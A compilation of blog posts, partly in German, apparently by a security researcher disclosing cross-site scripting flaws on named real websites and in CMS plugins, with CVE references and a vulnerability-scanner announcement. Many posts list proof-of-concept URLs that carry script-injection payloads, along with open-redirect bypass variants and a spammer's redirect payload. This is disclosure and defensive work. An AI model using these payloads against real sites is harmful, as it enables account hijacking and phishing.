I got some spam in the comment fields of my blog that raised my interest.

Some sample how they looked like:
http://www.unicef.org/voy/search/search.php?q=some+advertising%3Cscript%3Eparent%2elocation%2ereplace%28%22http%3A%2F%2Fgoogle%2ede22%29%3C%2Fscript%3E

I've replaced the forwarding URL and the advertising words (cause I don't want to raise interest on spammers pages). I got several similar spam comments the following days all with the same scheme. Using a Cross Site Scripting vulnerability, mostly on pages that might raise trust to forward to a medical selling page.

This is probably a good reason why XSS should be fixed, no matter what attack vectors there are. It can always be used by spammers to use your pages fame / authority to advertise their services. Same goes for redirectors or frame injections. Some where already reported at some public place (for the above see here). I've re-reported them all, but got just one reply by a webmaster who fixed it. True reality on the internet today, even webmasters of famous public organizations don't seem to care about internet security.

For the record, the others:
http://adventisthealth.org/utilities/search.asp?Yider=<script>alert(1)</script>
http://www.loc.gov/rr/ElectronicResources/search.php?search_term=<script>alert(1)</script>

And thanks to iconfactory, they fixed their XSS.

I want to give some thoughts about some more advanced XSS-issues based on two vulnerability announcements I recently made.

First is backend XSS. I think this hasn't been adressed very much, most probably all CMS have this issue. If you have a CMS-System (a blog is also a CMS system in this case) with multiple users, there are various ways where users can XSS each other. The most obvious one is that it's common practice that a CMS gives you some way to publish raw html content.

Assuming you have a blog where multiple users are allowed to write articles. Alice writes an article, Eve doesn't like the content of that article. Eve can now write another article with some JavaScript adjusted to steal Alice's cookie. As soon as Alice is logged in and watches the frontpage with Eve's article, her cookie get's stolen, Eve can hijack her account and manipulate her articles.

Solution is not that simple. To prevent the XSS, you'd have to make sure that there's absolutely no way to put raw html code on the page. Serendipity for example has a plugin called trustxss which should do exactly that, though there are many ways to circumvent that (at least all I found should be fixed in 1.3-beta1, see advisory here: CVE-2008-0124). All fields like username, user-information etc. need to be escaped and it should be the default that users aren't allowed to post html. If a superuser enables html-posting for another user, he should be warned about the security implications.

A quite different way would be separating front- and backend on different domains. I don't know of any popular CMS currently doing that, but it would prevent a lot of vulnerabilities: The website content is, e.g., located on www.mydomain.com, while the backend is on edit.mydomain.com. It would add complexity to the application setup, especially on shared hosting environments.


Second issue is XSS/CSRF in the installer. I'm not really sure how I should classify these, as an open installer most probably has more security implications than just XSS. I recently discovered an XSS in the installer of moodle (CVE-2008-0123) which made me think about this.

I thought of a (real) scenario where I was sitting in a room with a group, discussing that we need a webpage, we would take Domain somedomain.de and install some webapp (in this case MediaWiki, but there I found no such issues) there. I suddenly started implementing that with my laptop. Other people in the room hearing the discussion could send me links to trigger some kind of XSS/CSRF there. This probably isn't a very likely scenario, but still, I'd suggest to prevent XSS/CSRF also in the installer of web applications.

I recently stepped upon some XSS issues in Serendipity.

The first is in the remoterss-plugin, which can be used to display the content of an RSS feed in the sidebar of a blog. It didn't escape links, so JavaScript-Code could be injected by malicious RSS feeds. This plugin is shipped with the base version of S9Y. They've released 1.2.1 this weekend which has the fix.
If you're using the remoterss plugin, you should upgrade to 1.2.1 as soon as possible. This issue is named CVE-2007-6205.

The other one is in the external mycalendar-plugin. It also allows unescaped content inside links. This wouldn't be a real issue, as this form should only be accessible by the blog administrator. But the form had no CSRF (Cross-Site-Request-Forgery) protection, so an attacker could trigger this form and thus inject javascript on the blog-page. This has been fixed within version 0.13 of the plugin, so if you're using it, please upgrade. CVE-2007-6390 now assigned.

Beside I'd like to note that I got fast replies to my reports and the s9y devs fixed them quite quickly. Thanks for that!

One of the biggest threats in computer security today are web applications. There's a vast number of issues found in popular web apps, mostly cross site scripting, cross site request forgery and sql injection. For a long time I had the idea of a tool scanning through webroots and looking for popular web applications, comparing them with a database of their latest security issues. In the past weeks, I finaly managed to get some code done.

It's a quite simple python-script (don't cry about the source quality, I haven't done real coding for ages), together with a database of some popular applications. I'm looking forward to hear feedback. The usage is simple, just do something like this:
freewvs /home/joe/websites/foo /home/guest/websites/bar
Typical output looks like this:
WebsiteBaker 2.4.3 (2.6.5) CVE-2007-0527 /home/hanno/freewvs/test/websitebaker
Drupal 5.1 (5.3) CVE-2007-5416 /home/hanno/freewvs/test/drupal
PhpWebGallery 1.5.1 () CVE-2007-5012 /home/hanno/freewvs/test/phpwebgallery
Mostly self explaining. The found app at the beginning, the version where the issue was fixed in brackets, the CVE-ID (or some other vulnerability id, in doubt an URL) and the path.

The biggest work to do is probably to get more applications added to the database and to keep the database updated. It's format is pretty self-explaining, so I'm waiting for your patches.

Get it here: http://source.schokokeks.org/freewvs/

I thought I'd give you some more (all have been informed months ago):

http://thepiratebay.org/search/"><script>alert(1)</script>
http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

Now, once another episode of cross site scripting disclosure. This time we have some free software web applications. Sadly, none of them was able to provide a fix in a decent timeframe.

CVE-2007-1871 XSS in chcounter
CVE-2007-1872 XSS in toendaCMS
CVE-2007-1873 XSS in mephisto

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

Folgende Nachricht schrieb ich an den Support von Napster (das ist dieser DRM-Shop, hervorgegangen aus dem Label eines längst vergessenen Projekts):

Folgende, überaus kompetente Antwort erhielt ich:

Ich wusste doch immer dass die von der Filmindustrie das mit dem Internetz nicht verstanden haben:

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com

Von XSS (Cross Site Scripting) spricht man, wenn es durch Usereingaben möglich ist, bei einer Seite eigenen HTML und JavaScript-Code einzufügen. Das ist insbesondere dann ein Problem, wenn die Seite (auf der selben Domain reicht) in irgendeiner Weise Sessions und Accounts nutzt. Warum? Weil es trivial möglich ist, mit etwas JavaScript-Code das Session-Cookie zu übertragen und somit den Account zu hijacken.

Ein simples Beispiel:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>

Durch die bloße Eingabe von "><script>alert(1)</script> oder <script>alert(1)</script> lässt sich jedes Formular auf triviale XSS-Probleme checken (einfach mal ausprobieren).

Problemfall Frames: Aufgrund der Tatsache, dass ein bestimmter Framezustand nicht in einer URL festhaltbar ist, haben sich viele Menschen mehr oder weniger sinnvolle Fakes ausgedacht, die dann häufig in der Form http://mydomain.com/framescript?location=siteinframe daherkommen.
Nun kann man sowas ausnutzen, um in einem Frame eine Fremdseite darzustellen. Bis vor kurzem funktionierte dies noch:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
Kurze Zeit später wurde selbiges gefiltert, mit folgendem kam man aber immer noch weiter:
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com
Gehen inzwischen alle nicht mehr.
Problem? Phishing. Funktioniert selbiges bei einer Bank oder einem sonstigen Unternehmen, bei dem größere Beträge eine Rolle spielen, ist es für Phisher attraktiv, unbedarften Menschen eine Nachricht zu schicken, die eine echt aussehende URL des Unternehmens enthält.

Was bei obriger URL nach wie vor funktioniert, ist eine etwas trickreichere JavaScript-Injection:
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('
Das schöne hierbei ist, dass die Variable direkt in bereits bestehenden JavaScript-Code eingefügt wird.

Desweiteren hat eplus noch mehr Domains und anderswo funktioniert es noch:
http://www.eplus-unlimited.de/3_1_jingles/index.jsp?toLoad=http://www.google.de//

E-Plus wurde vor über einem Monat mit den ersten Lücken kontaktiert. Die Schließung erfolgte schleppend, weswegen mir die Veröffentlichung hier angemessen erscheint. Die Veröffentlichung wurde vor einer Woche angekündigt. Es wurden keine Lücken publiziert, von denen E-Plus nicht schon mindestens vor einer Woche bescheid wusste.

Credits gehen vor allem an Alexander Brachmann.

In aller Regel betreibe ich Responsible Disclosure: Vor einer öffentlichen Publizierung wird der Anbieter oder Autor der Software mit Vorlauf informiert.

Heut abend beim Webmontag gibt's ne Kurz-Präsentation.

Ich hab zwar keine Ahnung, was OKTE ist oder was die anbieten, aber die haben mir gerade Spam geschickt.

Sidenote:
okte.cn/user.asp?n="><script>alert(1)</script>

(Copy & Paste bitte, ich hoffe, dass das so deren Pagerank nicht positiv beeinflußt)

No responsible disclosure for spammers!